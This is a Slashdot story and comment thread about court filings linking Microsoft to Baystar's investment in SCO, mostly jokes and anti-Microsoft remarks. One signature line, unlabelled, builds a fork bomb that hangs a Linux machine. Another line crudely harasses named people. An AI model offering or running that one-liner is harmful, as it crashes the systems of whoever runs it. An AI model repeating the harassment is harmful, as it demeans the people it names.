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Microsoft Shown Involved with Baystar and SCO
baryon351 writes "Back a few years ago, when SCO looked like it was hemorrhaging cash, a surprise investment came out of the blue from venture capitalists Baystar. They invested $20 million in SCO and aided their anti-Linux cause, enabling McBride & co. to continue with (now shown incorrect) claims of line-by-line code copying of SCO IP in Linux. Now one of IBM's submissions to the court reveals Microsoft was behind it after all. Baystar's manager says about Microsoft's Richard Emerson: 'Mr. Emerson and I discussed a variety of investment structures wherein Microsoft would backstop, or guarantee in some way, Baystar's investment ... Microsoft assured me that it would in some way guarantee BayStar's investment in SCO.' Despite the denials about their involvement, Microsoft helped SCO continue this charade — and on top of that halted all contact with Baystar after the investment, reneging on their guarantee."
I just can't believe such vile and shameful accusations against Microsoft! Surely no company would sink this deep to protect it's monopoly. Oh wait...
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Be yourself no matter what they say
Yes, but what is easier? Stereotyping Microsoft, or stereotyping the kind of microsoft articles that appear on Slashdot?
Oh, Baystar? Nevermind.
Micro$oft shouldn't be broken up, they should be barred worldwide from doing any kind of business, all of their assetts should be liquidated and used to fund all open source projects. After that all of their trade secrets and patents need to be placed in the public domain.
Did the chair fly in the opposite direction ?
At no cost to MS, they fooled baystar into wasting a lot of money on a stupid investment, and all the money went to hassle MS enemy #1.
My 7 year old daughter promises a lollypop to her younger brother if he will go and kick someone she is mad at. When he comes to collect, she tells him "No".
Well done Microsoft, and shame on Baystar for falling for such a cheap plot.
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I'm shocked! Shocked! Well, not that shocked.
Yep. All those Slashdot readers who were inclined to buy an XBox will suddenly realize that Microsoft doesn't always operate above the bar.
Welcome to Slashdot, Captain Obvious.
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Ian Hislop? Is that you?
Real Daleks don't climb stairs - they level the building.
I might buy any machine that can be made to run a useful installation of Linux. :)
Better question, did the chair hit Steve Ballmer?
Still waiting on Serviscope_minor to wake up to fucking reality and realize that Jessica Price isn't going to fuck him.
A 5 ton elephant could take on a 800lb Gorilla I'm sure. But what about a 300lb cat?
g ly-ginormous-fat-cats/
Consider. I way 150lbs, so an equivalent feline would weigh 150lbs * ( 300 / 800 ) = 56lbs that's 25kilos
About half the size of this cat here.
So a imposing kitty by all means, but I do't think it could take me down.
Amazingly, Google is unable to find pictures of 56lb cats so that I can estimate their fighting skills, the closest is Katy, a 50lb Russian cat from here
http://www.neatorama.com/2006/05/08/top-15-amazin
It seems to me that the size of a cat doesn't increase it's combat effectivness. Indeed a hungry and fit 7kilo cat with quick claws and ninja ambush training would be more of a threat.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
That must've been some conversation!
We always hit Steve Ballmer with a chair.
-Red
Guns don't kill people, "with glowing hearts" kills people.
You would sell your soul for a 9 pin serial plug? Some people have odd fetishes I suppose. Here - have some old computer mice and keep your distance.